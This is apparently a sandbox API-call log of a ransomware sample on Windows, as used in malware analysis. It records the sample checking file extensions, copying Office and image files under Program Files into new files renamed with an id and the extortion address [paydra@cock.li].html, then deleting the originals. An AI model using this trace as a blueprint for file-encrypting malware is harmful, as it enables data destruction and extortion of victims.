lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.509] lstrlenW (lpString=".xlsx") returned 5 [0041.509] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.509] lstrlenW (lpString=".ppt") returned 4 [0041.509] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0041.509] lstrlenW (lpString=".zip") returned 4 [0041.509] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.509] lstrlenW (lpString=".rar") returned 4 [0041.509] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.509] lstrlenW (lpString=".bz2") returned 4 [0041.509] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.509] lstrlenW (lpString=".7z") returned 3 [0041.509] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0041.509] lstrlenW (lpString=".dbf") returned 4 [0041.509] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0041.509] lstrlenW (lpString=".1cd") returned 4 [0041.509] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0041.509] lstrlenW (lpString=".jpg") returned 4 [0041.509] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.510] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0041.510] lstrlenW (lpString="SETUP.XML") returned 9 [0041.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0042.728] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1608) returned 1 [0042.728] CloseHandle (hObject=0x214) returned 1 [0042.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0042.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0042.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0042.729] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.729] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0042.729] GetLastError () returned 0x0 [0042.729] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x648, lpOverlapped=0x0) returned 1 [0042.914] WriteFile (in: hFile=0x1e8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x650, lpOverlapped=0x0) returned 1 [0042.914] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.915] WriteFile (in: hFile=0x1e8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.915] SetEndOfFile (hFile=0x1e8) returned 1 [0042.915] CloseHandle (hObject=0x1e8) returned 1 [0042.915] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.918] SetEndOfFile (hFile=0x214) returned 1 [0042.918] CloseHandle (hObject=0x214) returned 1 [0042.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0042.919] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 1 [0042.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.919] lstrlenW (lpString=".doc") returned 4 [0042.919] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.919] lstrlenW (lpString=".docx") returned 5 [0042.919] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0042.919] lstrlenW (lpString=".pdf") returned 4 [0042.919] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.919] lstrlenW (lpString=".xls") returned 4 [0042.919] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.919] lstrlenW (lpString=".xlsx") returned 5 [0042.919] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0042.919] lstrlenW (lpString=".ppt") returned 4 [0042.919] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.919] lstrlenW (lpString=".zip") returned 4 [0042.919] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.919] lstrlenW (lpString=".rar") returned 4 [0042.919] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.919] lstrlenW (lpString=".bz2") returned 4 [0042.920] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.920] lstrlenW (lpString=".7z") returned 3 [0042.920] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.920] lstrlenW (lpString=".dbf") returned 4 [0042.920] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.920] lstrlenW (lpString=".1cd") returned 4 [0042.920] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.920] lstrlenW (lpString=".jpg") returned 4 [0042.920] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.920] lstrlenW (lpString=".doc") returned 4 [0042.920] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.920] lstrlenW (lpString=".docx") returned 5 [0042.920] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0042.920] lstrlenW (lpString=".pdf") returned 4 [0042.920] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.920] lstrlenW (lpString=".xls") returned 4 [0042.920] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.920] lstrlenW (lpString=".xlsx") returned 5 [0042.920] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0042.920] lstrlenW (lpString=".ppt") returned 4 [0042.920] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.920] lstrlenW (lpString=".zip") returned 4 [0042.920] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.921] lstrlenW (lpString=".rar") returned 4 [0042.921] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.921] lstrlenW (lpString=".bz2") returned 4 [0042.921] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.921] lstrlenW (lpString=".7z") returned 3 [0042.921] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.921] lstrlenW (lpString=".dbf") returned 4 [0042.921] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.921] lstrlenW (lpString=".1cd") returned 4 [0042.921] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.921] lstrlenW (lpString=".jpg") returned 4 [0042.921] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.921] lstrcmpiW (lpString1=".XSL", lpString2=".html") returned 1 [0042.921] lstrlenW (lpString="BASMLA.XSL") returned 10 [0042.921] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0042.921] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=227311) returned 1 [0042.922] CloseHandle (hObject=0x214) returned 1 [0042.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0042.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0042.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0042.923] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.923] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0042.923] GetLastError () returned 0x0 [0042.923] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x377ef, lpOverlapped=0x0) returned 1 [0042.991] WriteFile (in: hFile=0x1e8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x377f0, lpOverlapped=0x0) returned 1 [0042.996] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.996] WriteFile (in: hFile=0x1e8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0042.996] SetEndOfFile (hFile=0x1e8) returned 1 [0042.996] CloseHandle (hObject=0x1e8) returned 1 [0042.996] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.996] SetEndOfFile (hFile=0x214) returned 1 [0042.998] CloseHandle (hObject=0x214) returned 1 [0042.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0042.998] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 1 [0042.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0042.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0042.999] lstrlenW (lpString=".doc") returned 4 [0042.999] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0042.999] lstrlenW (lpString=".docx") returned 5 [0042.999] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0042.999] lstrlenW (lpString=".pdf") returned 4 [0042.999] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0042.999] lstrlenW (lpString=".xls") returned 4 [0042.999] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0042.999] lstrlenW (lpString=".xlsx") returned 5 [0042.999] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0042.999] lstrlenW (lpString=".ppt") returned 4 [0042.999] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0042.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0042.999] lstrlenW (lpString=".zip") returned 4 [0042.999] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0042.999] lstrlenW (lpString=".rar") returned 4 [0042.999] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0042.999] lstrlenW (lpString=".bz2") returned 4 [0042.999] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0042.999] lstrlenW (lpString=".7z") returned 3 [0042.999] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0042.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0042.999] lstrlenW (lpString=".dbf") returned 4 [0042.999] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0042.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0042.999] lstrlenW (lpString=".1cd") returned 4 [0042.999] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0042.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0042.999] lstrlenW (lpString=".jpg") returned 4 [0042.999] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0043.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0043.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0043.000] lstrlenW (lpString=".doc") returned 4 [0043.000] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0043.000] lstrlenW (lpString=".docx") returned 5 [0043.000] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0043.000] lstrlenW (lpString=".pdf") returned 4 [0043.000] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0043.000] lstrlenW (lpString=".xls") returned 4 [0043.000] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0043.000] lstrlenW (lpString=".xlsx") returned 5 [0043.000] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0043.000] lstrlenW (lpString=".ppt") returned 4 [0043.000] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0043.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0043.000] lstrlenW (lpString=".zip") returned 4 [0043.000] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0043.000] lstrlenW (lpString=".rar") returned 4 [0043.000] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0043.000] lstrlenW (lpString=".bz2") returned 4 [0043.000] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0043.000] lstrlenW (lpString=".7z") returned 3 [0043.000] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0043.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0043.000] lstrlenW (lpString=".dbf") returned 4 [0043.000] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0043.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0043.000] lstrlenW (lpString=".1cd") returned 4 [0043.000] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0043.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0043.001] lstrlenW (lpString=".jpg") returned 4 [0043.001] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0043.001] lstrcmpiW (lpString1=".htm", lpString2=".html") returned -1 [0043.001] lstrlenW (lpString="Bears.htm") returned 9 [0043.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0044.072] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=255) returned 1 [0044.072] CloseHandle (hObject=0x218) returned 1 [0044.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0044.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.072] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0044.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0044.072] lstrlenW (lpString=".doc") returned 4 [0044.072] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0044.072] lstrlenW (lpString=".docx") returned 5 [0044.073] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0044.073] lstrlenW (lpString=".pdf") returned 4 [0044.073] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0044.073] lstrlenW (lpString=".xls") returned 4 [0044.073] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0044.073] lstrlenW (lpString=".xlsx") returned 5 [0044.073] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0044.073] lstrlenW (lpString=".ppt") returned 4 [0044.073] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0044.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0044.073] lstrlenW (lpString=".zip") returned 4 [0044.073] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0044.073] lstrlenW (lpString=".rar") returned 4 [0044.073] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0044.073] lstrlenW (lpString=".bz2") returned 4 [0044.073] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0044.073] lstrlenW (lpString=".7z") returned 3 [0044.073] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0044.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0044.073] lstrlenW (lpString=".dbf") returned 4 [0044.073] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0044.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0044.073] lstrlenW (lpString=".1cd") returned 4 [0044.073] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0044.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0044.073] lstrlenW (lpString=".jpg") returned 4 [0044.073] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0044.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0044.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0044.073] lstrlenW (lpString=".doc") returned 4 [0044.074] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0044.074] lstrlenW (lpString=".docx") returned 5 [0044.074] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0044.074] lstrlenW (lpString=".pdf") returned 4 [0044.074] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0044.074] lstrlenW (lpString=".xls") returned 4 [0044.074] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0044.074] lstrlenW (lpString=".xlsx") returned 5 [0044.074] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0044.074] lstrlenW (lpString=".ppt") returned 4 [0044.074] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0044.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0044.074] lstrlenW (lpString=".zip") returned 4 [0044.074] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0044.074] lstrlenW (lpString=".rar") returned 4 [0044.074] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0044.074] lstrlenW (lpString=".bz2") returned 4 [0044.074] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0044.074] lstrlenW (lpString=".7z") returned 3 [0044.074] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0044.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0044.074] lstrlenW (lpString=".dbf") returned 4 [0044.074] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0044.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0044.074] lstrlenW (lpString=".1cd") returned 4 [0044.074] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0044.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0044.074] lstrlenW (lpString=".jpg") returned 4 [0044.074] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0044.075] lstrcmpiW (lpString1=".jpg", lpString2=".html") returned 1 [0044.075] lstrlenW (lpString="Notebook.jpg") returned 12 [0044.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0044.076] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2950) returned 1 [0044.076] CloseHandle (hObject=0x218) returned 1 [0044.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg")) returned 0x20 [0044.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.076] CreateFileW (lpFileName="C:\\Program 